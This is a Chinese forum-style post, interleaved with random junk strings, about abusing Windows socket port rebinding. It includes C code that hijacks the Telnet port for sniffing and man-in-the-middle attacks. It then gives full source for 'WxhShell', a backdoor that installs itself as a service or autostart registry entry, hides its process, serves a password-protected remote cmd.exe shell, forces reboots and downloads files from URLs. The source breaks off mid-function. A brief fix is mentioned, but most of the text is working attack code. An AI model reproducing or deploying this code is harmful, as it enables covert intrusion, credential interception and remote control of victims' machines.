在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
>qynd'eToR s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
VV=6v;u` `k'Dm:*`u4 saddr.sin_family = AF_INET;
AG,;1b,:81 \!'K#%]9 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
+Ram%"Zwh /Oa.@53tK6 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
%'[ pucEF e#{l 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
U\", !S~< w'!J 这意味着什么?意味着可以进行如下的攻击:
ju;Myi}a IHf#P5y_ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
<x1H:8A 3x~AaC.j 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
15`,kJSK }zV#?;} 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
3})0p 1
,4V8gp 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
8]0?mV8iOE ,DWC=:@X 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
fm^)u" 38(|a5 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
:vy./83W oJ)v6"j 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
rZ7)sE5L ?anKSGfj #include
+jz%:D #include
t M{U6k #include
-` e`U%n #include
[$(/H; DWORD WINAPI ClientThread(LPVOID lpParam);
>CPoeIHK int main()
Pr^p
^s {
3+#
"4O WORD wVersionRequested;
.)XJ- DWORD ret;
.FAuM~_99b WSADATA wsaData;
6dX l ny1H BOOL val;
h2Jdcr#@FF SOCKADDR_IN saddr;
DYvg ^b SOCKADDR_IN scaddr;
4xNzhnp| int err;
O\qY?) SOCKET s;
<\5Y~!) SOCKET sc;
\%:]o-+"I int caddsize;
>iB-gj}>X HANDLE mt;
b'~IFNt*^ DWORD tid;
yzmwNsu wVersionRequested = MAKEWORD( 2, 2 );
wPU<jAQyp err = WSAStartup( wVersionRequested, &wsaData );
<S%kwS if ( err != 0 ) {
@IwVR printf("error!WSAStartup failed!\n");
QG=&{-I~[3 return -1;
SB` "%6 }
" ^:$7~%bA saddr.sin_family = AF_INET;
|MXv
w6P 4 jeUYkJUM //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Pxm~2PAm o+Kh2;$) saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
;P4tqY@ saddr.sin_port = htons(23);
ym)`<[T if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Z
]WA-Q6n {
9ApGn!` printf("error!socket failed!\n");
E$84c+ return -1;
C]+T5W\"<B }
yD9<-B<) val = TRUE;
P&@[ j0 //SO_REUSEADDR选项就是可以实现端口重绑定的
ewcgg if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
kaj6C_k| {
';bovh@* printf("error!setsockopt failed!\n");
ZM%z"hO9R return -1;
,0Y5O?pu\ }
RDu'N //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
m}3POl/*j //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
B>&eciY //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
.8%mi'0ud Q35/Sp[;x if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
}X`jhsqT {
\LS+.bp% ret=GetLastError();
U)N_/ printf("error!bind failed!\n");
6|D,`dk3U return -1;
VX;tglu2 }
%Sdzr!I7* listen(s,2);
b(~
gQM while(1)
h}_1cev? {
B:\TvWbu caddsize = sizeof(scaddr);
/8` S}g+ //接受连接请求
| <ZkJR3B sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
grhwPnKl if(sc!=INVALID_SOCKET)
21BlLz {
,\K1cW~U5 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
/U%Xs}A) if(mt==NULL)
S qQqG3F {
=Gq
'sy:h printf("Thread Creat Failed!\n");
k(;c<Z{?1
break;
_8'F I_E3 }
P2Ja*!K] }
AT{ewb CloseHandle(mt);
g{cHh(S }
cKX6pG closesocket(s);
\k|ZbCWg WSACleanup();
,{{uRs/ return 0;
F W # S.< }
df7z&{R DWORD WINAPI ClientThread(LPVOID lpParam)
THmX=K4=? {
{-]/r SOCKET ss = (SOCKET)lpParam;
9R"bo*RIS SOCKET sc;
<Zc: unsigned char buf[4096];
IPl>bD~=p SOCKADDR_IN saddr;
D n?P~% long num;
$W8 DWORD val;
"]nbM}> DWORD ret;
~qiSkG //如果是隐藏端口应用的话,可以在此处加一些判断
F62arDA //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
<'4DMZ-G saddr.sin_family = AF_INET;
w%1B_PyDg saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
X~Li` saddr.sin_port = htons(23);
pAV}hB if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
T@]vjXd![ {
iD|"} }01 printf("error!socket failed!\n");
PaEsz$mgy return -1;
&0
VM <
}
{=,?]Z+ val = 100;
rY>{L6d if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
%Ya-;&;` {
t$=0 C ret = GetLastError();
m//(1hWv7 return -1;
VB 8t"5 }
OX?9 3AlG if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
>29eu^~nh {
>=2nAv/( ret = GetLastError();
qx"?')+ return -1;
)^^r\ }
U"xI1fg%b if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Z8=4cWI~; {
*4^!e/ printf("error!socket connect failed!\n");
6!i0ioZzi0 closesocket(sc);
%xR;8IO closesocket(ss);
2WIbu-"l return -1;
`\&qk)ZP }
9`)NFy? while(1)
w<awCp {
Ox&g#,@h //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
O;:8mm%( //如果是嗅探内容的话,可以再此处进行内容分析和记录
^AD/N|X^ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
'MM#nQ\( num = recv(ss,buf,4096,0);
2D
MH@U2 if(num>0)
~2~KcgPsq send(sc,buf,num,0);
S&V5zB""n else if(num==0)
}d)>pH break;
Z\{WBUR;4t num = recv(sc,buf,4096,0);
^n<p#0)+a if(num>0)
];1z%. send(ss,buf,num,0);
<9/oqp{C4 else if(num==0)
h2KXW}y"4 break;
6kjBd3 }
|J`YFv closesocket(ss);
u:N/aaU= closesocket(sc);
^G#=>&, return 0 ;
A{;b^IK }
3u7E?*{sH ?S0VtHQ ;2}0Hr'| ==========================================================
7BF't!-2F 5in6Y5c kj 下边附上一个代码,,WXhSHELL
0sq/_S KI$?0O ==========================================================
Eln"RKCt}9 {:Z# 8dGe #include "stdafx.h"
S]1+tj &tQ,2RT #include <stdio.h>
'mug,jM #include <string.h>
m{x!uq #include <windows.h>
uwWfL32 #include <winsock2.h>
.Kq>/6
#include <winsvc.h>
i2$U##-ro] #include <urlmon.h>
d Z"bc]z{ )u]<8 #pragma comment (lib, "Ws2_32.lib")
Tc\^=e^N? #pragma comment (lib, "urlmon.lib")
,q/K&'0` G+'MTC_ #define MAX_USER 100 // 最大客户端连接数
$K ,rVTU #define BUF_SOCK 200 // sock buffer
$&k2m^R< #define KEY_BUFF 255 // 输入 buffer
E[htNin.B~ XT= #+ #define REBOOT 0 // 重启
PKfxL}:"8 #define SHUTDOWN 1 // 关机
=o _d2Ak =YZp,{T #define DEF_PORT 5000 // 监听端口
Sd^e!?bp PQvq$|q #define REG_LEN 16 // 注册表键长度
3VA8K@QiRm #define SVC_LEN 80 // NT服务名长度
cWp
n/.a \9i.dF // 从dll定义API
N!"GwH typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
v>)[NAY9 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Y#{KGVT< typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
',6QL4qV/ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
M5exo
2v`VtV|B // wxhshell配置信息
*xU^e`P struct WSCFG {
mbd int ws_port; // 监听端口
v2EM| Q xp char ws_passstr[REG_LEN]; // 口令
w>H!H6Q int ws_autoins; // 安装标记, 1=yes 0=no
\fU{$ char ws_regname[REG_LEN]; // 注册表键名
lbT<HWzNH char ws_svcname[REG_LEN]; // 服务名
%MbjKw char ws_svcdisp[SVC_LEN]; // 服务显示名
,$vc*}yI0 char ws_svcdesc[SVC_LEN]; // 服务描述信息
4VaUa8 D char ws_passmsg[SVC_LEN]; // 密码输入提示信息
)R9>;CuC9? int ws_downexe; // 下载执行标记, 1=yes 0=no
Tr/wG char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Q-O:L char ws_filenam[SVC_LEN]; // 下载后保存的文件名
+VDl"Hx $NG}YOP)@ };
`z5j ;-^WUf| // default Wxhshell configuration
%'4dgk struct WSCFG wscfg={DEF_PORT,
in#qV "xuhuanlingzhe",
na
$z\C\ 1,
YV{^S6M "Wxhshell",
p5)A"p8"9, "Wxhshell",
w:'$Uf8] "WxhShell Service",
s.C-II?e "Wrsky Windows CmdShell Service",
fBD5K3 "Please Input Your Password: ",
yql+N[ 1,
S][:b "
http://www.wrsky.com/wxhshell.exe",
:
[aUpX= "Wxhshell.exe"
pVt-7AgW };
I g-VSQ Mk|h ><Q" // 消息定义模块
'$1-A%e$1 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
;N ]ElwP char *msg_ws_prompt="\n\r? for help\n\r#>";
'D\(p,(Mt char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
-Q 6W`*8 char *msg_ws_ext="\n\rExit.";
:;{U2q+ char *msg_ws_end="\n\rQuit.";
qdZn9i char *msg_ws_boot="\n\rReboot...";
:r^i0g|5P char *msg_ws_poff="\n\rShutdown...";
Iy|]U&`
char *msg_ws_down="\n\rSave to ";
,UWO+B] &}:Hp9n char *msg_ws_err="\n\rErr!";
wzo-V^+q char *msg_ws_ok="\n\rOK!";
fRaVY`|wK ^"6xE nA] char ExeFile[MAX_PATH];
'n!;7* int nUser = 0;
R*Pfc91} HANDLE handles[MAX_USER];
YIgzFt[L int OsIsNt;
] =>vv;L q*Ns]f'a SERVICE_STATUS serviceStatus;
;13lu1 SERVICE_STATUS_HANDLE hServiceStatusHandle;
(.%:Q0i1 /kx:BoV // 函数声明
i7e{REBXb int Install(void);
D\j1` int Uninstall(void);
-U%wLkf| int DownloadFile(char *sURL, SOCKET wsh);
8EbYk2j int Boot(int flag);
_~Lhc'^p* void HideProc(void);
C&<f YCwG int GetOsVer(void);
OX|/yw8 int Wxhshell(SOCKET wsl);
?$-OdABXHK void TalkWithClient(void *cs);
u4z]6?,"e int CmdShell(SOCKET sock);
HOykmx6$ int StartFromService(void);
lP9a*>=a int StartWxhshell(LPSTR lpCmdLine);
2',t@< U rCYNdfdpp VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
{l *ps-fi VOID WINAPI NTServiceHandler( DWORD fdwControl );
1v`<Vb%"}T _k5KJKvr // 数据结构和表定义
JkQ4'$: SERVICE_TABLE_ENTRY DispatchTable[] =
! ~&X1,l1* {
ET=q
1t8 {wscfg.ws_svcname, NTServiceMain},
quGb;)3 {NULL, NULL}
7:M%w'oR };
qx0J}6+NlU I \vu?$w // 自我安装
"~d)$]+ int Install(void)
"-ZuH {
3e I:$1"Q char svExeFile[MAX_PATH];
l4;/[Q>Z HKEY key;
2$[u&__E strcpy(svExeFile,ExeFile);
{hg,F?p
' _e ~EQ[, // 如果是win9x系统,修改注册表设为自启动
<0R?#^XBZB if(!OsIsNt) {
'f;+*~*L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
wF@qBDxg RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
x0Tb7y`
RegCloseKey(key);
iKp4@6an if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Pb]s+1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
N1#*~/sXh RegCloseKey(key);
<-}6X return 0;
F P
mLost }
3@ay9!Xq }
YroKC+4"i }
zUwz[^d<C else {
%I6iXq# & r\z9! // 如果是NT以上系统,安装为系统服务
Qo;$iLt SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
jew?cnRmd if (schSCManager!=0)
&h4(lM {
:kY][_ SC_HANDLE schService = CreateService
x:sTE u@ (
z${B| schSCManager,
|!57Z4X wscfg.ws_svcname,
!8l4Hc8 wscfg.ws_svcdisp,
oxcAKo SERVICE_ALL_ACCESS,
J]N-^ld\\ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
^BNg^V. SERVICE_AUTO_START,
.f(x9|K^ SERVICE_ERROR_NORMAL,
=H!u4
svExeFile,
LAMTf"a NULL,
g&BF#)7C NULL,
Fm [,u NULL,
uERc\TZ NULL,
*(o~pxFTR NULL
\:-; { );
_5.7HEw>/ if (schService!=0)
1S.nqOfx {
$stJ+uh CloseServiceHandle(schService);
(q:L_zFj>" CloseServiceHandle(schSCManager);
mI"|^!L strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
6"jq/Pu strcat(svExeFile,wscfg.ws_svcname);
~Qzm!Po, if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
'Ur$jW RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
)W*S6}A RegCloseKey(key);
8#7z5:_ return 0;
!\?? [1_e }
v9M;W+J }
"hs`Y4U
CloseServiceHandle(schSCManager);
/A<L }
Nv #vfh9}P }
EVRg/{X kCN9`9XI{ return 1;
\!G&:<h }
1[X+6viE q\mVZyj // 自我卸载
6\b B#a int Uninstall(void)
5;dnxhf {
l4r09"S|V HKEY key;
uv9cOd SBeb}LZ if(!OsIsNt) {
X<Vko^vlj if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Qy@chN{eP RegDeleteValue(key,wscfg.ws_regname);
AX]lMe
RegCloseKey(key);
wm8(Ju if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
P"3{s+ r RegDeleteValue(key,wscfg.ws_regname);
<A"}Krq? RegCloseKey(key);
nuKjp Ap! return 0;
b.C!4^ }
;uDH&3W }
}v@w(*)h: }
UKk~)Of else {
|*OS;FD5 [",W TZ: SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
=wI,H@ if (schSCManager!=0)
~{U~9v^v( {
JsVW:8QO~ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
PN0:,.4 if (schService!=0)
ic?6p {
qBKIl=
ne if(DeleteService(schService)!=0) {
ETjlq]@j CloseServiceHandle(schService);
vxZz9+UbF CloseServiceHandle(schSCManager);
ho fZpM return 0;
9:YiLoz? }
d
t0?4 d CloseServiceHandle(schService);
p~+)!Z# }
p0'A\@| CloseServiceHandle(schSCManager);
vpOzF>O }
HPr5mWs: }
A*MlK" H.wp{m{ return 1;
dO rgqz`e }
[^~Fu9+" )Q6R6xW // 从指定url下载文件
A[=)Zw
" int DownloadFile(char *sURL, SOCKET wsh)
S37Bl5W {
65s|gfu/ HRESULT hr;
e)7[weGN char seps[]= "/";
,C(")?4aJ char *token;
&``;1/J*W char *file;
cKFzn+ char myURL[MAX_PATH];
?sp char myFILE[MAX_PATH];
S-'iOJ1]
MCL5a@BX) strcpy(myURL,sURL);
ykX}T6T token=strtok(myURL,seps);
~A [ Ju%R while(token!=NULL)
@x"vGYKd {
LnrR#fF]Z file=token;
rv:,Os_ token=strtok(NULL,seps);
c?>Q!sC }
d8dREhK& I)Lg=n$ GetCurrentDirectory(MAX_PATH,myFILE);
9[6xo! strcat(myFILE, "\\");
?&"cI5- strcat(myFILE, file);
\7*9l% send(wsh,myFILE,strlen(myFILE),0);
f>-OwL($P send(wsh,"...",3,0);
73 D|gF* hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
QjF.U8 if(hr==S_OK)
OHM.xw*?. return 0;
&{/ `Q, else
p>|;fS\`@} return 1;
B.0(}@ yxLGseD }
KzI$GU3 )bw^!w) // 系统电源模块
q
( H^H int Boot(int flag)
9'td}S {
&hyr""NkAm HANDLE hToken;
Y
-o*d@ TOKEN_PRIVILEGES tkp;
m:II<tv 5JIa?i>B if(OsIsNt) {
pbR84g^p.S OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
$PHKI B( LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
C&Ow*~ tkp.PrivilegeCount = 1;
[1 w tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
YeYFPi# AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
h* h+VM if(flag==REBOOT) {
byyz\>yAVq if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
FyQ return 0;
iV(B0z }
Qh%7RGh_ else {
?f CLiK if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
l J;wl|9 return 0;
L7%Dc2{^( }
$2 ~A^#"0 }
F+*:
>@3 else {
tiI>iP`! if(flag==REBOOT) {
FzA_-d/_dg if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
j#3}nJB%#i return 0;
^HX={(ddK }
>2vl & ( else {
!`)-seTm if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
cC&R~h]| return 0;
DZR kK3 }
HiILJyb }
Xv9kJ 9)e`mO*n return 1;
\,ir]e,1 }
Y>wpla[kUq o5i?|HJ // win9x进程隐藏模块
r-H~MisL void HideProc(void)
E6y/,s^~S_ {
gB71~A{J Xe:B* HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
nBWrkVX if ( hKernel != NULL )
?U iwr{Q {
DU({Ncge pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
? R;5ErZ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
#Z98D9Pv`o FreeLibrary(hKernel);
DUM,dFIlvF }
>.\G/'\? >p}d:t/ return;
o8H<{D13 }
Cdotl$' D0us<9q // 获取操作系统版本
=@G#c5H* int GetOsVer(void)
bhnm<RZ {
m:/ nw, OSVERSIONINFO winfo;
It(8s)5 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
)PB&w%J GetVersionEx(&winfo);
{KdC51"Nv if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
4/~8zvz&3 return 1;
LV4x9?& else
!|}J{
return 0;
WK:~2m&y }
3@XCP-` 9kH~+ // 客户端句柄模块
C>:F4"0 int Wxhshell(SOCKET wsl)
}8fxCW*| {
N@58R9P<p SOCKET wsh;
`IFt;Ja\6 struct sockaddr_in client;
v}+axu/? DWORD myID;
:BC0f9 ;7K5Bo while(nUser<MAX_USER)
R^f~aLl {
9'Pyo`hJ#U int nSize=sizeof(client);
|hiYV wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
%0Ulh6g;Dt if(wsh==INVALID_SOCKET) return 1;
h"
P4 j/#kO? handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
NA]7qb%%< if(handles[nUser]==0)
[qIi_(%o closesocket(wsh);
wU2y<?$\8 else
]Qkto4DQ5 nUser++;
!5?#^q }
nyw, Fu WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Zo-E0[9 ^.nvX{H8~= return 0;
7$8z}2 }
?*9U
d aVz<RS // 关闭 socket
w4:n(.;HK void CloseIt(SOCKET wsh)
[I4K`>|Z {
o!aKeM~|Es closesocket(wsh);
~SUA.YuF nUser--;
0u'4kF!P! ExitThread(0);
G|4 vnIS }
"of (,p k#c BBrY // 客户端请求句柄
{YcVeCq+N void TalkWithClient(void *cs)
x98LOO {
e,Gv~ae9 G"5Nj3vd SOCKET wsh=(SOCKET)cs;
6@]Xwq char pwd[SVC_LEN];
Y
H
2iV char cmd[KEY_BUFF];
A AH-Dj|&l char chr[1];
fh b &_T int i,j;
p<Ah50!B p27A#Uu2} while (nUser < MAX_USER) {
i74^J +xk wTf0O@``6H if(wscfg.ws_passstr) {
UacN'Rat if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
E:D1ZV //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
SV<*qz //ZeroMemory(pwd,KEY_BUFF);
hIXGfvUy i=0;
QTz{ZNi! while(i<SVC_LEN) {
U4 m[@wF JAC W#'4hV // 设置超时
Xd)ba9{ fd_set FdRead;
9x;/q7 struct timeval TimeOut;
OV7vwj/- FD_ZERO(&FdRead);
^W_}Gd<-#Y FD_SET(wsh,&FdRead);
o*qEAy? TimeOut.tv_sec=8;
FT[oM<M\Xd TimeOut.tv_usec=0;
lE?e1mz{
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Jj fNH
~ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
T9t9]) q[M7)- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
@7u4v%,wB pwd
=chr[0]; Jtd@8fVi
if(chr[0]==0xd || chr[0]==0xa) { ?Ih24>:D
pwd=0; _xl#1>G^J
break; [l-zU}u&v
} ,^26.p$
i++; ,H1J$=X'
} i>ORCOOU
fX[,yc;
// 如果是非法用户,关闭 socket >, 234ab=d
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )@]-bPnv
} x3PeU_9
ii2oWU
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \CUxGyu
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fOE:~3Q
i#kRVua/
while(1) { 66p_d'U
D'fP2?3FK
ZeroMemory(cmd,KEY_BUFF); g#9w5Q
pqMvYF
// 自动支持客户端 telnet标准 nI2}E
j=0; 0WF(Ga/o
while(j<KEY_BUFF) { O<6/0ub&+h
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l>~:lBO
cmd[j]=chr[0]; X2M<DeF:
if(chr[0]==0xa || chr[0]==0xd) { ~q4DePVE
cmd[j]=0; <Ks?g=K-
break; eb9qg.9Z
} n 8AND0a1C
j++; u%XFFt5
} 0qG[hxt%
^>%=/RX
// 下载文件 KS*W<_I
if(strstr(cmd,"http://")) { *n}9_V%
send(wsh,msg_ws_down,strlen(msg_ws_down),0); *XniF~M
if(DownloadFile(cmd,wsh)) qgI
Jg6x/}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;jX_e(T3m
else v bDw2
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PO&xi9_
}
`c :'il?
else { 7c
%@2
&sS k~:
switch(cmd[0]) { _j%Rm:m;<
,J}lyvkd
// 帮助 M8KfC!
case '?': { /
s H*if
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <(BA ws(X
break; YLSG
5vF+
} 3q pkMu3
// 安装 _JR4
PKtx
case 'i': { hZ2PP ^
if(Install()) 7MoO2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +QldZba
else =;Wkg4\5
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \?3];+c9
break; /3KEX{'@U
} yA%[u.{
// 卸载 ~@'|R%jJ
case 'r': { &cpRB&bf
if(Uninstall()) sv0kksj
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `Z%XA>
else *2:)Rf
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5VG@Q%
break; B@iIj<p~
} #y>oCB`EM
// 显示 wxhshell 所在路径 ,ypxy/
case 'p': { ulj`+D?H
char svExeFile[MAX_PATH]; rBr28_i
strcpy(svExeFile,"\n\r"); Y Nq<%i!>
strcat(svExeFile,ExeFile); &v 5yo}s
send(wsh,svExeFile,strlen(svExeFile),0); y:2o-SJn
break; q8kt_&Ij
} "hy#L
0\t
// 重启 "H G:by
case 'b': { i
w m7M
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A%Bz52yg
if(Boot(REBOOT)) 'kx{0J?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !%Z1"FDm/
else { /f# rN_4
closesocket(wsh); U]R7=
ExitThread(0); *Gu=O|Mm
} l@j!j]nE
break; k?J}-+Bm[|
} D(h|r^5
// 关机 2B!nLLCp+
case 'd': { >`oO(d}n[0
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w~Y#[GW
if(Boot(SHUTDOWN)) ^'[ |
send(wsh,msg_ws_err,strlen(msg_ws_err),0); DcOu=Y> 1
else { m|f|u3'z$
closesocket(wsh); \[>Rt
ExitThread(0); {|rwIRe
} dDm<'30?*v
break; u"|.]r
} B"Fg`s+]U
// 获取shell -C8awtbC
case 's': { G 8NSBaZe
CmdShell(wsh); Pc4sReo'
closesocket(wsh); )L#I#%
ExitThread(0); 97Q!Rot
break; 4e%SF|(Y'h
} %"KBX~3+Kj
// 退出 w^ DAu1
case 'x': { [xE\IqwM
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); j;+nnpg
CloseIt(wsh); 4p1{Ady
break; @NyCMe;]
} [n:R]|^a
// 离开 ;- cq#8S
case 'q': { wwpvmb
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q0 ^?jh
closesocket(wsh); A$5!]+
WSACleanup(); -7pZRnv
exit(1); .d8~]@U!<
break; PMTyiwlm
} UhEnW8^bz1
} wEkW=
} 3b[_0
(JF\%Yj/
// 提示信息 QTLOP~^
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); = j}00,WH
} Ur@'X-
} ?EpY4k8,
3ea6g5kX
return; sxuYwQ
} Z#Zk)
zCco/]h
// shell模块句柄 Zd~Z`B} &
int CmdShell(SOCKET sock) 9xWeVlfQ
{ 1$
l3-x
STARTUPINFO si; `Y(/G"]
ZeroMemory(&si,sizeof(si)); ChBZGuO:
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XS1>ti|<
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /sYD+*a
PROCESS_INFORMATION ProcessInfo; a2g1 5;kM
char cmdline[]="cmd"; ey Cg *
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F5*Xx g}N
return 0; Rq\.RR](
} )fC^h=Qp
w-\GrxlbX
// 自身启动模式 J@)6]d/,
int StartFromService(void) QGYmQ9m{kL
{ Wm"W@LPx5
typedef struct Z-/ E$j
{ lJK U^?4S8
DWORD ExitStatus; 7d9%L}+q
DWORD PebBaseAddress; Put+<o
<
DWORD AffinityMask; C"YM"9JSJ
